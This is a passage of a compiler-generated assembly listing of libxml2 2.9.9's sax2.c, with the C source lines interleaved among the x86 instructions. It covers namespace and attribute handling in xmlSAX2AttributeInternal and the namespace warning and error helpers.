; 1166 : ; 1167 : /* ; 1168 : * Check whether it's a namespace definition ; 1169 : */ ; 1170 : if ((!ctxt->html) && (ns == NULL) && ; 1171 : (name[0] == 'x') && (name[1] == 'm') && (name[2] == 'l') && ; 1172 : (name[3] == 'n') && (name[4] == 's') && (name[5] == 0)) { cmp DWORD PTR [esi+32], 0 mov eax, DWORD PTR _ns$[ebp] jne $LN34@xmlSAX2Att test eax, eax jne $LN93@xmlSAX2Att cmp BYTE PTR [edi], 120 ; 00000078H jne $LN49@xmlSAX2Att cmp BYTE PTR [edi+1], 109 ; 0000006dH jne $LN49@xmlSAX2Att cmp BYTE PTR [edi+2], 108 ; 0000006cH jne $LN49@xmlSAX2Att cmp BYTE PTR [edi+3], 110 ; 0000006eH jne $LN49@xmlSAX2Att cmp BYTE PTR [edi+4], 115 ; 00000073H jne $LN49@xmlSAX2Att cmp BYTE PTR [edi+5], al jne $LN49@xmlSAX2Att ; 1173 : xmlNsPtr nsret; ; 1174 : xmlChar *val; ; 1175 : ; 1176 : if (!ctxt->replaceEntities) { cmp DWORD PTR [esi+16], eax jne SHORT $LN19@xmlSAX2Att ; 1177 : ctxt->depth++; inc DWORD PTR [esi+248] ; 1178 : val = xmlStringDecodeEntities(ctxt, value, XML_SUBSTITUTE_REF, push eax push eax push eax push 1 push ebx push esi call _xmlStringDecodeEntities ; 1179 : 0,0,0); ; 1180 : ctxt->depth--; dec DWORD PTR [esi+248] add esp, 24 ; 00000018H mov DWORD PTR _val$1$[ebp], eax ; 1181 : if (val == NULL) { test eax, eax jne SHORT $LN20@xmlSAX2Att ; 1182 : xmlSAX2ErrMemory(ctxt, "xmlSAX2StartElement"); push OFFSET ??_C@_0BE@NLCCMPDP@xmlSAX2StartElement@ push esi call _xmlSAX2ErrMemory ; 1183 : if (name != NULL) ; 1184 : xmlFree(name); push edi call DWORD PTR _xmlFree ; 1185 : if (nval != NULL) mov eax, DWORD PTR _nval$1$[ebp] add esp, 12 ; 0000000cH ; 1186 : xmlFree(nval); ; 1187 : return; jmp $LN106@xmlSAX2Att $LN19@xmlSAX2Att: ; 1188 : } ; 1189 : } else { ; 1190 : val = (xmlChar *) value; mov eax, ebx mov DWORD PTR _val$1$[ebp], ebx $LN20@xmlSAX2Att: ; 1191 : } ; 1192 : ; 1193 : if (val[0] != 0) { cmp BYTE PTR [eax], 0 je SHORT $LN26@xmlSAX2Att ; 1194 : xmlURIPtr uri; ; 1195 : ; 1196 : uri = xmlParseURI((const char *)val); push eax call _xmlParseURI add esp, 4 mov DWORD PTR _uri$1$[ebp], eax ; 1197 : if (uri == NULL) { test eax, eax jne SHORT $LN25@xmlSAX2Att ; 1198 : if ((ctxt->sax != NULL) && (ctxt->sax->warning != NULL)) mov eax, DWORD PTR [esi] test eax, eax je SHORT $LN99@xmlSAX2Att mov eax, DWORD PTR [eax+84] test eax, eax je SHORT $LN99@xmlSAX2Att ; 1199 : ctxt->sax->warning(ctxt->userData, push DWORD PTR _val$1$[ebp] push OFFSET ??_C@_0BL@KIHPGOD@xmlns?3?5?$CFs?5not?5a?5valid?5URI?6@ push DWORD PTR [esi+4] call eax add esp, 12 ; 0000000cH ; 1200 : "xmlns: %s not a valid URI\n", val); ; 1201 : } else { jmp SHORT $LN99@xmlSAX2Att $LN25@xmlSAX2Att: ; 1202 : if (uri->scheme == NULL) { cmp DWORD PTR [eax], 0 jne SHORT $LN29@xmlSAX2Att ; 1203 : if ((ctxt->sax != NULL) && (ctxt->sax->warning != NULL)) mov ecx, DWORD PTR [esi] test ecx, ecx je SHORT $LN29@xmlSAX2Att mov ecx, DWORD PTR [ecx+84] test ecx, ecx je SHORT $LN29@xmlSAX2Att ; 1204 : ctxt->sax->warning(ctxt->userData, push DWORD PTR _val$1$[ebp] push OFFSET ??_C@_0BP@JFBGAFGI@xmlns?3?5URI?5?$CFs?5is?5not?5absolute?6@ push DWORD PTR [esi+4] call ecx mov eax, DWORD PTR _uri$1$[ebp] add esp, 12 ; 0000000cH $LN29@xmlSAX2Att: ; 1205 : "xmlns: URI %s is not absolute\n", val); ; 1206 : } ; 1207 : xmlFreeURI(uri); push eax call _xmlFreeURI add esp, 4 $LN99@xmlSAX2Att: ; 1208 : } ; 1209 : } ; 1210 : ; 1211 : /* a default namespace definition */ ; 1212 : nsret = xmlNewNs(ctxt->node, val, NULL); mov eax, DWORD PTR _val$1$[ebp] $LN26@xmlSAX2Att: push 0 push eax push DWORD PTR [esi+52] call _xmlNewNs mov ecx, eax add esp, 12 ; 0000000cH ; 1213 : ; 1214 : #ifdef LIBXML_VALID_ENABLED ; 1215 : /* ; 1216 : * Validate also for namespace decls, they are attributes from ; 1217 : * an XML-1.0 perspective ; 1218 : */ ; 1219 : if (nsret != NULL && ctxt->validate && ctxt->wellFormed && ; 1220 : ctxt->myDoc && ctxt->myDoc->intSubset) test ecx, ecx je SHORT $LN30@xmlSAX2Att cmp DWORD PTR [esi+104], 0 je SHORT $LN30@xmlSAX2Att cmp DWORD PTR [esi+12], 0 je SHORT $LN30@xmlSAX2Att mov eax, DWORD PTR [esi+8] test eax, eax je SHORT $LN30@xmlSAX2Att cmp DWORD PTR [eax+44], 0 je SHORT $LN30@xmlSAX2Att ; 1221 : ctxt->valid &= xmlValidateOneNamespace(&ctxt->vctxt, ctxt->myDoc, push DWORD PTR _val$1$[ebp] push ecx push DWORD PTR _prefix$[ebp] push DWORD PTR [esi+52] push eax lea eax, DWORD PTR [esi+108] push eax call _xmlValidateOneNamespace add esp, 24 ; 00000018H and DWORD PTR [esi+100], eax $LN30@xmlSAX2Att: ; 1222 : ctxt->node, prefix, nsret, val); ; 1223 : #endif /* LIBXML_VALID_ENABLED */ ; 1224 : if (name != NULL) ; 1225 : xmlFree(name); push edi call DWORD PTR _xmlFree ; 1226 : if (nval != NULL) mov eax, DWORD PTR _nval$1$[ebp] add esp, 4 test eax, eax je SHORT $LN32@xmlSAX2Att ; 1227 : xmlFree(nval); push eax call DWORD PTR _xmlFree add esp, 4 $LN32@xmlSAX2Att: ; 1228 : if (val != value) mov eax, DWORD PTR _val$1$[ebp] cmp eax, ebx ; 1229 : xmlFree(val); ; 1230 : return; jmp $LN105@xmlSAX2Att $LN93@xmlSAX2Att: ; 1231 : } ; 1232 : if ((!ctxt->html) && ; 1233 : (ns != NULL) && (ns[0] == 'x') && (ns[1] == 'm') && (ns[2] == 'l') && ; 1234 : (ns[3] == 'n') && (ns[4] == 's') && (ns[5] == 0)) { cmp BYTE PTR [eax], 120 ; 00000078H jne $LN34@xmlSAX2Att cmp BYTE PTR [eax+1], 109 ; 0000006dH jne $LN34@xmlSAX2Att cmp BYTE PTR [eax+2], 108 ; 0000006cH jne $LN34@xmlSAX2Att cmp BYTE PTR [eax+3], 110 ; 0000006eH jne $LN34@xmlSAX2Att cmp BYTE PTR [eax+4], 115 ; 00000073H jne $LN34@xmlSAX2Att cmp BYTE PTR [eax+5], 0 jne $LN34@xmlSAX2Att ; 1235 : xmlNsPtr nsret; ; 1236 : xmlChar *val; ; 1237 : ; 1238 : if (!ctxt->replaceEntities) { cmp DWORD PTR [esi+16], 0 jne SHORT $LN35@xmlSAX2Att ; 1239 : ctxt->depth++; inc DWORD PTR [esi+248] ; 1240 : val = xmlStringDecodeEntities(ctxt, value, XML_SUBSTITUTE_REF, push 0 push 0 push 0 push 1 push ebx push esi call _xmlStringDecodeEntities ; 1241 : 0,0,0); ; 1242 : ctxt->depth--; dec DWORD PTR [esi+248] add esp, 24 ; 00000018H mov DWORD PTR _val$1$[ebp], eax ; 1243 : if (val == NULL) { test eax, eax jne SHORT $LN36@xmlSAX2Att ; 1244 : xmlSAX2ErrMemory(ctxt, "xmlSAX2StartElement"); push OFFSET ??_C@_0BE@NLCCMPDP@xmlSAX2StartElement@ push esi call _xmlSAX2ErrMemory ; 1245 : xmlFree(ns); push DWORD PTR _ns$[ebp] call DWORD PTR _xmlFree ; 1246 : if (name != NULL) ; 1247 : xmlFree(name); push edi call DWORD PTR _xmlFree ; 1248 : if (nval != NULL) mov eax, DWORD PTR _nval$1$[ebp] add esp, 16 ; 00000010H ; 1249 : xmlFree(nval); ; 1250 : return; jmp $LN106@xmlSAX2Att $LN35@xmlSAX2Att: ; 1251 : } ; 1252 : } else { ; 1253 : val = (xmlChar *) value; mov eax, ebx mov DWORD PTR _val$1$[ebp], ebx $LN36@xmlSAX2Att: ; 1254 : } ; 1255 : ; 1256 : if (val[0] == 0) { cmp BYTE PTR [eax], 0 jne SHORT $LN40@xmlSAX2Att ; 1257 : xmlNsErrMsg(ctxt, XML_NS_ERR_EMPTY, push 0 push edi push OFFSET ??_C@_0CE@LNIJHMCD@Empty?5namespace?5name?5for?5prefix@ push 204 ; 000000ccH push esi call _xmlNsErrMsg mov eax, DWORD PTR _val$1$[ebp] add esp, 20 ; 00000014H $LN40@xmlSAX2Att: ; 1258 : "Empty namespace name for prefix %s\n", name, NULL); ; 1259 : } ; 1260 : if ((ctxt->pedantic != 0) && (val[0] != 0)) { cmp DWORD PTR [esi+268], 0 je SHORT $LN43@xmlSAX2Att cmp BYTE PTR [eax], 0 je SHORT $LN43@xmlSAX2Att ; 1261 : xmlURIPtr uri; ; 1262 : ; 1263 : uri = xmlParseURI((const char *)val); push eax call _xmlParseURI add esp, 4 mov DWORD PTR _uri$1$[ebp], eax ; 1264 : if (uri == NULL) { test eax, eax jne SHORT $LN42@xmlSAX2Att ; 1265 : xmlNsWarnMsg(ctxt, XML_WAR_NS_URI, push ebx push edi push OFFSET ??_C@_0BO@MNIAHAOJ@xmlns?3?$CFs?3?5?$CFs?5not?5a?5valid?5URI?6@ push 99 ; 00000063H push esi call _xmlNsWarnMsg add esp, 20 ; 00000014H ; 1266 : "xmlns:%s: %s not a valid URI\n", name, value); ; 1267 : } else { jmp SHORT $LN43@xmlSAX2Att $LN42@xmlSAX2Att: ; 1268 : if (uri->scheme == NULL) { cmp DWORD PTR [eax], 0 jne SHORT $LN44@xmlSAX2Att ; 1269 : xmlNsWarnMsg(ctxt, XML_WAR_NS_URI_RELATIVE, push ebx push edi push OFFSET ??_C@_0CC@FFFCEDOK@xmlns?3?$CFs?3?5URI?5?$CFs?5is?5not?5absolut@ push 100 ; 00000064H push esi call _xmlNsWarnMsg mov eax, DWORD PTR _uri$1$[ebp] add esp, 20 ; 00000014H $LN44@xmlSAX2Att: ; 1270 : "xmlns:%s: URI %s is not absolute\n", name, value); ; 1271 : } ; 1272 : xmlFreeURI(uri); push eax call _xmlFreeURI add esp, 4 $LN43@xmlSAX2Att: ; 1273 : } ; 1274 : } ; 1275 : ; 1276 : /* a standard namespace definition */ ; 1277 : nsret = xmlNewNs(ctxt->node, val, name); push edi push DWORD PTR _val$1$[ebp] push DWORD PTR [esi+52] call _xmlNewNs ; 1278 : xmlFree(ns); push DWORD PTR _ns$[ebp] mov DWORD PTR _nsret$1$[ebp], eax call DWORD PTR _xmlFree ; 1279 : #ifdef LIBXML_VALID_ENABLED ; 1280 : /* ; 1281 : * Validate also for namespace decls, they are attributes from ; 1282 : * an XML-1.0 perspective ; 1283 : */ ; 1284 : if (nsret != NULL && ctxt->validate && ctxt->wellFormed && ; 1285 : ctxt->myDoc && ctxt->myDoc->intSubset) mov ecx, DWORD PTR _nsret$1$[ebp] add esp, 16 ; 00000010H test ecx, ecx je SHORT $LN45@xmlSAX2Att cmp DWORD PTR [esi+104], 0 je SHORT $LN45@xmlSAX2Att cmp DWORD PTR [esi+12], 0 je SHORT $LN45@xmlSAX2Att mov eax, DWORD PTR [esi+8] test eax, eax je SHORT $LN45@xmlSAX2Att cmp DWORD PTR [eax+44], 0 je SHORT $LN45@xmlSAX2Att ; 1286 : ctxt->valid &= xmlValidateOneNamespace(&ctxt->vctxt, ctxt->myDoc, push ebx push ecx push DWORD PTR _prefix$[ebp] push DWORD PTR [esi+52] push eax lea eax, DWORD PTR [esi+108] push eax call _xmlValidateOneNamespace add esp, 24 ; 00000018H and DWORD PTR [esi+100], eax $LN45@xmlSAX2Att: ; 1287 : ctxt->node, prefix, nsret, value); ; 1288 : #endif /* LIBXML_VALID_ENABLED */ ; 1289 : if (name != NULL) ; 1290 : xmlFree(name); push edi call DWORD PTR _xmlFree ; 1291 : if (nval != NULL) mov eax, DWORD PTR _nval$1$[ebp] add esp, 4 test eax, eax je $LN32@xmlSAX2Att ; 1292 : xmlFree(nval); push eax call DWORD PTR _xmlFree ; 1293 : if (val != value) mov eax, DWORD PTR _val$1$[ebp] add esp, 4 cmp eax, ebx ; 1294 : xmlFree(val); ; 1295 : return; jmp $LN105@xmlSAX2Att $LN34@xmlSAX2Att: ; 1296 : } ; 1297 : ; 1298 : if (ns != NULL) { test eax, eax je $LN49@xmlSAX2Att ; 1299 : namespace = xmlSearchNs(ctxt->myDoc, ctxt->node, ns); push eax push DWORD PTR [esi+52] push DWORD PTR [esi+8] call _xmlSearchNs add esp, 12 ; 0000000cH mov DWORD PTR _namespace$1$[ebp], eax ; 1300 : ; 1301 : if (namespace == NULL) { test eax, eax jne SHORT $LN51@xmlSAX2Att ; 1302 : xmlNsErrMsg(ctxt, XML_NS_ERR_UNDEFINED_NAMESPACE, push edi push DWORD PTR _ns$[ebp] push OFFSET ??_C@_0DE@HNKDFNKM@Namespace?5prefix?5?$CFs?5of?5attribut@ push 201 ; 000000c9H push esi call _xmlNsErrMsg add esp, 20 ; 00000014H $LN100@xmlSAX2Att: ; 1329 : } ; 1330 : ; 1331 : /* !!!!!! <a toto:arg="" xmlns:toto="http://toto.com"> */ ; 1332 : ret = xmlNewNsPropEatName(ctxt->node, namespace, name, NULL); mov eax, DWORD PTR _namespace$1$[ebp] $LN50@xmlSAX2Att: push 0 push edi push eax push DWORD PTR [esi+52] call _xmlNewNsPropEatName mov ebx, eax add esp, 16 ; 00000010H ; 1333 : ; 1334 : if (ret != NULL) { test ebx, ebx je $LN96@xmlSAX2Att ; 1335 : if ((ctxt->replaceEntities == 0) && (!ctxt->html)) { cmp DWORD PTR [esi+16], 0 jne $LN59@xmlSAX2Att cmp DWORD PTR [esi+32], 0 jne $LN59@xmlSAX2Att ; 1336 : xmlNodePtr tmp; ; 1337 : ; 1338 : ret->children = xmlStringGetNodeList(ctxt->myDoc, value); mov edi, DWORD PTR _value$[ebp] push edi push DWORD PTR [esi+8] call _xmlStringGetNodeList add esp, 8 mov DWORD PTR [ebx+12], eax ; 1339 : tmp = ret->children; ; 1340 : while (tmp != NULL) { test eax, eax je $LN63@xmlSAX2Att npad 2 $LL4@xmlSAX2Att: ; 1341 : tmp->parent = (xmlNodePtr) ret; ; 1342 : if (tmp->next == NULL) mov ecx, DWORD PTR [eax+24] mov DWORD PTR [eax+20], ebx test ecx, ecx jne SHORT $LN94@xmlSAX2Att ; 1343 : ret->last = tmp; mov DWORD PTR [ebx+16], eax mov ecx, DWORD PTR [eax+24] $LN94@xmlSAX2Att: ; 1344 : tmp = tmp->next; mov eax, ecx test ecx, ecx jne SHORT $LL4@xmlSAX2Att ; 1345 : } ; 1346 : } else if (value != NULL) { jmp $LN63@xmlSAX2Att $LN51@xmlSAX2Att: ; 1303 : "Namespace prefix %s of attribute %s is not defined\n", ; 1304 : ns, name); ; 1305 : } else { ; 1306 : xmlAttrPtr prop; ; 1307 : ; 1308 : prop = ctxt->node->properties; mov eax, DWORD PTR [esi+52] mov ebx, DWORD PTR [eax+44] ; 1309 : while (prop != NULL) { test ebx, ebx je SHORT $LN100@xmlSAX2Att $LL2@xmlSAX2Att: ; 1310 : if (prop->ns != NULL) { cmp DWORD PTR [ebx+36], 0 je SHORT $LN54@xmlSAX2Att ; 1311 : if ((xmlStrEqual(name, prop->name)) && push DWORD PTR [ebx+8] push edi call _xmlStrEqual add esp, 8 test eax, eax je SHORT $LN54@xmlSAX2Att mov eax, DWORD PTR [ebx+36] mov ecx, DWORD PTR _namespace$1$[ebp] cmp ecx, eax je SHORT $LN55@xmlSAX2Att push DWORD PTR [eax+8] push DWORD PTR [ecx+8] call _xmlStrEqual add esp, 8 test eax, eax jne SHORT $LN101@xmlSAX2Att $LN54@xmlSAX2Att: ; 1322 : } ; 1323 : } ; 1324 : prop = prop->next; mov ebx, DWORD PTR [ebx+24] test ebx, ebx jne SHORT $LL2@xmlSAX2Att ; 1309 : while (prop != NULL) { jmp $LN100@xmlSAX2Att $LN101@xmlSAX2Att: ; 1311 : if ((xmlStrEqual(name, prop->name)) && mov ecx, DWORD PTR _namespace$1$[ebp] $LN55@xmlSAX2Att: ; 1312 : ((namespace == prop->ns) || ; 1313 : (xmlStrEqual(namespace->href, prop->ns->href)))) { ; 1314 : xmlNsErrMsg(ctxt, XML_ERR_ATTRIBUTE_REDEFINED, push DWORD PTR [ecx+8] push edi push OFFSET ??_C@_0BO@PGCJKKMF@Attribute?5?$CFs?5in?5?$CFs?5redefined?6@ push 42 ; 0000002aH push esi call _xmlNsErrMsg add esp, 20 ; 00000014H ; 1315 : "Attribute %s in %s redefined\n", ; 1316 : name, namespace->href); ; 1317 : ctxt->wellFormed = 0; mov DWORD PTR [esi+12], 0 ; 1318 : if (ctxt->recovery == 0) ctxt->disableSAX = 1; cmp DWORD PTR [esi+288], 0 jne SHORT $LN56@xmlSAX2Att mov DWORD PTR [esi+212], 1 $LN56@xmlSAX2Att: ; 1319 : if (name != NULL) ; 1320 : xmlFree(name); push edi call DWORD PTR _xmlFree add esp, 4 ; 1321 : goto error; jmp $error$109 $LN49@xmlSAX2Att: ; 1325 : } ; 1326 : } ; 1327 : } else { ; 1328 : namespace = NULL; xor eax, eax jmp $LN50@xmlSAX2Att $LN59@xmlSAX2Att: ; 1345 : } ; 1346 : } else if (value != NULL) { mov edi, DWORD PTR _value$[ebp] test edi, edi je SHORT $LN63@xmlSAX2Att ; 1347 : ret->children = xmlNewDocText(ctxt->myDoc, value); push edi push DWORD PTR [esi+8] call _xmlNewDocText add esp, 8 mov DWORD PTR [ebx+12], eax ; 1348 : ret->last = ret->children; mov DWORD PTR [ebx+16], eax ; 1349 : if (ret->children != NULL) test eax, eax je SHORT $LN63@xmlSAX2Att ; 1350 : ret->children->parent = (xmlNodePtr) ret; mov DWORD PTR [eax+20], ebx jmp SHORT $LN63@xmlSAX2Att $LN96@xmlSAX2Att: ; 1333 : ; 1334 : if (ret != NULL) { mov edi, DWORD PTR _value$[ebp] $LN63@xmlSAX2Att: ; 1351 : } ; 1352 : } ; 1353 : ; 1354 : #ifdef LIBXML_VALID_ENABLED ; 1355 : if ((!ctxt->html) && ctxt->validate && ctxt->wellFormed && ; 1356 : ctxt->myDoc && ctxt->myDoc->intSubset) { cmp DWORD PTR [esi+32], 0 jne $LN64@xmlSAX2Att cmp DWORD PTR [esi+104], 0 je $LN64@xmlSAX2Att cmp DWORD PTR [esi+12], 0 je $LN64@xmlSAX2Att mov eax, DWORD PTR [esi+8] test eax, eax je $LN64@xmlSAX2Att cmp DWORD PTR [eax+44], 0 je $LN64@xmlSAX2Att ; 1357 : ; 1358 : /* ; 1359 : * If we don't substitute entities, the validation should be ; 1360 : * done on a value with replaced entities anyway. ; 1361 : */ ; 1362 : if (!ctxt->replaceEntities) { cmp DWORD PTR [esi+16], 0 jne $LN66@xmlSAX2Att ; 1363 : xmlChar *val; ; 1364 : ; 1365 : ctxt->depth++; inc DWORD PTR [esi+248] ; 1366 : val = xmlStringDecodeEntities(ctxt, value, XML_SUBSTITUTE_REF, push 0 push 0 push 0 push 1 push edi push esi call _xmlStringDecodeEntities ; 1367 : 0,0,0); ; 1368 : ctxt->depth--; dec DWORD PTR [esi+248] add esp, 24 ; 00000018H mov ecx, DWORD PTR [esi+52] mov edx, DWORD PTR [esi+8] mov DWORD PTR _val$1$[ebp], eax ; 1369 : ; 1370 : if (val == NULL) test eax, eax jne SHORT $LN68@xmlSAX2Att ; 1371 : ctxt->valid &= xmlValidateOneAttribute(&ctxt->vctxt, push edi push ebx push ecx push edx lea eax, DWORD PTR [esi+108] push eax call _xmlValidateOneAttribute add esp, 20 ; 00000014H and DWORD PTR [esi+100], eax jmp $error$109 $LN68@xmlSAX2Att: ; 1372 : ctxt->myDoc, ctxt->node, ret, value); ; 1373 : else { ; 1374 : xmlChar *nvalnorm; ; 1375 : ; 1376 : /* ; 1377 : * Do the last stage of the attribute normalization ; 1378 : * It need to be done twice ... it's an extra burden related ; 1379 : * to the ability to keep xmlSAX2References in attributes ; 1380 : */ ; 1381 : nvalnorm = xmlValidNormalizeAttributeValue(ctxt->myDoc, push eax push DWORD PTR _fullname$[ebp] push ecx push edx call _xmlValidNormalizeAttributeValue ; 1382 : ctxt->node, fullname, val); ; 1383 : if (nvalnorm != NULL) { mov edi, DWORD PTR _val$1$[ebp] add esp, 16 ; 00000010H mov DWORD PTR _nvalnorm$1$[ebp], eax test eax, eax je SHORT $LN70@xmlSAX2Att ; 1384 : xmlFree(val); push edi call DWORD PTR _xmlFree ; 1385 : val = nvalnorm; mov edi, DWORD PTR _nvalnorm$1$[ebp] add esp, 4 $LN70@xmlSAX2Att: ; 1386 : } ; 1387 : ; 1388 : ctxt->valid &= xmlValidateOneAttribute(&ctxt->vctxt, push edi push ebx push DWORD PTR [esi+52] lea eax, DWORD PTR [esi+108] push DWORD PTR [esi+8] push eax call _xmlValidateOneAttribute and DWORD PTR [esi+100], eax ; 1389 : ctxt->myDoc, ctxt->node, ret, val); ; 1390 : xmlFree(val); push edi call DWORD PTR _xmlFree add esp, 24 ; 00000018H ; 1391 : } ; 1392 : } else { jmp $error$109 $LN66@xmlSAX2Att: ; 1393 : ctxt->valid &= xmlValidateOneAttribute(&ctxt->vctxt, ctxt->myDoc, push edi push ebx push DWORD PTR [esi+52] push eax lea eax, DWORD PTR [esi+108] push eax call _xmlValidateOneAttribute add esp, 20 ; 00000014H and DWORD PTR [esi+100], eax ; 1394 : ctxt->node, ret, value); ; 1395 : } ; 1396 : } else jmp $error$109 $LN64@xmlSAX2Att: ; 1397 : #endif /* LIBXML_VALID_ENABLED */ ; 1398 : if (((ctxt->loadsubset & XML_SKIP_IDS) == 0) && test BYTE PTR [esi+276], 8 jne $error$109 cmp DWORD PTR [esi+16], 0 jne SHORT $LN91@xmlSAX2Att cmp DWORD PTR [esi+96], 2 jne SHORT $LN72@xmlSAX2Att jmp $error$109 $LN91@xmlSAX2Att: cmp DWORD PTR [esi+216], 0 jne $error$109 $LN72@xmlSAX2Att: ; 1399 : (((ctxt->replaceEntities == 0) && (ctxt->external != 2)) || ; 1400 : ((ctxt->replaceEntities != 0) && (ctxt->inSubset == 0)))) { ; 1401 : /* ; 1402 : * when validating, the ID registration is done at the attribute ; 1403 : * validation level. Otherwise we have to do specific handling here. ; 1404 : */ ; 1405 : if (xmlStrEqual(fullname, BAD_CAST "xml:id")) { push OFFSET ??_C@_06IMLNHOMM@xml?3id@ push DWORD PTR _fullname$[ebp] call _xmlStrEqual add esp, 8 test eax, eax je SHORT $LN74@xmlSAX2Att ; 1406 : /* ; 1407 : * Add the xml:id value ; 1408 : * ; 1409 : * Open issue: normalization of the value. ; 1410 : */ ; 1411 : if (xmlValidateNCName(value, 1) != 0) { push 1 push edi call _xmlValidateNCName add esp, 8 test eax, eax je SHORT $LN76@xmlSAX2Att ; 1412 : xmlErrValid(ctxt, XML_DTD_XMLID_VALUE, push 0 push edi push OFFSET ??_C@_0CO@CCGEJOB@xml?3id?5?3?5attribute?5value?5?$CFs?5is?5@ push 539 ; 0000021bH push esi call _xmlErrValid add esp, 20 ; 00000014H $LN76@xmlSAX2Att: ; 1413 : "xml:id : attribute value %s is not an NCName\n", ; 1414 : (const char *) value, NULL); ; 1415 : } ; 1416 : xmlAddID(&ctxt->vctxt, ctxt->myDoc, value, ret); push ebx push edi push DWORD PTR [esi+8] lea eax, DWORD PTR [esi+108] push eax call _xmlAddID jmp SHORT $LN107@xmlSAX2Att $LN74@xmlSAX2Att: ; 1417 : } else if (xmlIsID(ctxt->myDoc, ctxt->node, ret)) push ebx push DWORD PTR [esi+52] push DWORD PTR [esi+8] call _xmlIsID mov ecx, DWORD PTR [esi+8] add esp, 12 ; 0000000cH push ebx test eax, eax je SHORT $LN77@xmlSAX2Att ; 1418 : xmlAddID(&ctxt->vctxt, ctxt->myDoc, value, ret); push edi push ecx lea eax, DWORD PTR [esi+108] push eax call _xmlAddID jmp SHORT $LN107@xmlSAX2Att $LN77@xmlSAX2Att: ; 1419 : else if (xmlIsRef(ctxt->myDoc, ctxt->node, ret)) push DWORD PTR [esi+52] push ecx call _xmlIsRef add esp, 12 ; 0000000cH test eax, eax je SHORT $error$109 ; 1420 : xmlAddRef(&ctxt->vctxt, ctxt->myDoc, value, ret); push ebx push edi push DWORD PTR [esi+8] lea eax, DWORD PTR [esi+108] push eax call _xmlAddRef $LN107@xmlSAX2Att: ; 1421 : } ; 1422 : ; 1423 : error: ; 1424 : if (nval != NULL) add esp, 16 ; 00000010H $error$109: mov eax, DWORD PTR _nval$1$[ebp] test eax, eax je SHORT $LN80@xmlSAX2Att ; 1425 : xmlFree(nval); push eax call DWORD PTR _xmlFree add esp, 4 ; 1426 : if (ns != NULL) ; 1427 : xmlFree(ns); jmp SHORT $LN80@xmlSAX2Att $LN92@xmlSAX2Att: ; 1133 : xmlSAX2ErrMemory(ctxt, "xmlSAX2StartElement"); push OFFSET ??_C@_0BE@NLCCMPDP@xmlSAX2StartElement@ push esi call _xmlSAX2ErrMemory add esp, 8 $LN80@xmlSAX2Att: ; 1428 : } mov eax, DWORD PTR _ns$[ebp] $LN106@xmlSAX2Att: test eax, eax $LN105@xmlSAX2Att: je SHORT $LN81@xmlSAX2Att push eax call DWORD PTR _xmlFree add esp, 4 $LN81@xmlSAX2Att: pop edi pop esi pop ebx mov esp, ebp pop ebp ret 0 _xmlSAX2AttributeInternal ENDP _TEXT ENDS ; Function compile flags: /Ogtp ; File c:\users\dag\documents\_clients\codeproject authors group\windows on arm\libxml2\libxml2-2.9.9\sax2.c ; COMDAT _xmlNsWarnMsg _TEXT SEGMENT _ctxt$ = 8 ; size = 4 _error$ = 12 ; size = 4 _msg$ = 16 ; size = 4 _str1$ = 20 ; size = 4 _str2$ = 24 ; size = 4 _xmlNsWarnMsg PROC ; COMDAT ; 220 : { push ebp mov ebp, esp push esi mov ecx, OFFSET __A8525CDE_sax2@c call @__CheckForDebuggerJustMyCode@4 mov edx, DWORD PTR _ctxt$[ebp] mov esi, DWORD PTR _error$[ebp] test edx, edx je SHORT $LN3@xmlNsWarnM ; 221 : if ((ctxt != NULL) && (ctxt->disableSAX != 0) && cmp DWORD PTR [edx+212], 0 je SHORT $LN2@xmlNsWarnM cmp DWORD PTR [edx+172], -1 je SHORT $LN1@xmlNsWarnM $LN2@xmlNsWarnM: ; 222 : (ctxt->instate == XML_PARSER_EOF)) ; 223 : return; ; 224 : if (ctxt != NULL) ; 225 : ctxt->errNo = error; mov DWORD PTR [edx+84], esi $LN3@xmlNsWarnM: ; 226 : __xmlRaiseError(NULL, NULL, NULL, ctxt, NULL, XML_FROM_NAMESPACE, error, mov ecx, DWORD PTR _str2$[ebp] mov eax, DWORD PTR _str1$[ebp] push ecx push eax push DWORD PTR _msg$[ebp] push 0 push 0 push 0 push ecx push eax push 0 push 0 push 1 push esi push 3 push 0 push edx push 0 push 0 push 0 call ___xmlRaiseError add esp, 72 ; 00000048H $LN1@xmlNsWarnM: pop esi ; 227 : XML_ERR_WARNING, NULL, 0, ; 228 : (const char *) str1, (const char *) str2, ; 229 : NULL, 0, 0, msg, str1, str2); ; 230 : } pop ebp ret 0 _xmlNsWarnMsg ENDP _TEXT ENDS ; Function compile flags: /Ogtp ; File c:\users\dag\documents\_clients\codeproject authors group\windows on arm\libxml2\libxml2-2.9.9\sax2.c ; COMDAT _xmlNsErrMsg _TEXT SEGMENT _ctxt$ = 8 ; size = 4 _error$ = 12 ; size = 4 _msg$ = 16 ; size = 4 _str1$ = 20 ; size = 4 _str2$ = 24 ; size = 4 _xmlNsErrMsg PROC ; COMDAT ; 196 : { push ebp mov ebp, esp push esi mov ecx, OFFSET __A8525CDE_sax2@c call @__CheckForDebuggerJustMyCode@4 mov edx, DWORD PTR _ctxt$[ebp] mov esi, DWORD PTR _error$[ebp] test edx, edx je SHORT $LN3@xmlNsErrMs ; 197 : if ((ctxt != NULL) && (ctxt->disableSAX != 0) && cmp DWORD PTR [edx+212], 0 je SHORT $LN2@xmlNsErrMs cmp DWORD PTR [edx+172], -1 je SHORT $LN1@xmlNsErrMs $LN2@xmlNsErrMs: ; 198 : (ctxt->instate == XML_PARSER_EOF)) ; 199 : return; ; 200 : if (ctxt != NULL) ; 201 : ctxt->errNo = error; mov DWORD PTR [edx+84], esi $LN3@xmlNsErrMs: ; 202 : __xmlRaiseError(NULL, NULL, NULL, ctxt, NULL, XML_FROM_NAMESPACE, error, mov ecx, DWORD PTR _str2$[ebp] mov eax, DWORD PTR _str1$[ebp] push ecx push eax push DWORD PTR _msg$[ebp] push 0 push 0 push 0 push ecx push eax push 0 push 0 push 2 push esi push 3 push 0 push edx push 0 push 0 push 0 call ___xmlRaiseError add esp, 72 ; 00000048H $LN1@xmlNsErrMs: pop esi ; 203 : XML_ERR_ERROR, NULL, 0, ; 204 : (const char *) str1, (const char *) str2, ; 205 : NULL, 0, 0, msg, str1, str2); ; 206 : } pop ebp ret 0 _xmlNsErrMsg ENDP _TEXT ENDS ; Function compile flags: /Ogtp ; File c:\users\dag\documents\_clients\codeproject authors group\windows on arm\libxml2\libxml2-2.9.9\sax2.c ; COMDAT _xmlWarnMsg _TEXT SEGMENT _ctxt$ = 8 ; size = 4 _error$ = 12 ; size = 4 _msg$ = 16 ; size = 4 _str1$ = 20 ; size = 4 _xmlWarnMsg PROC ; COMDAT ; 171 : { push ebp mov ebp, esp 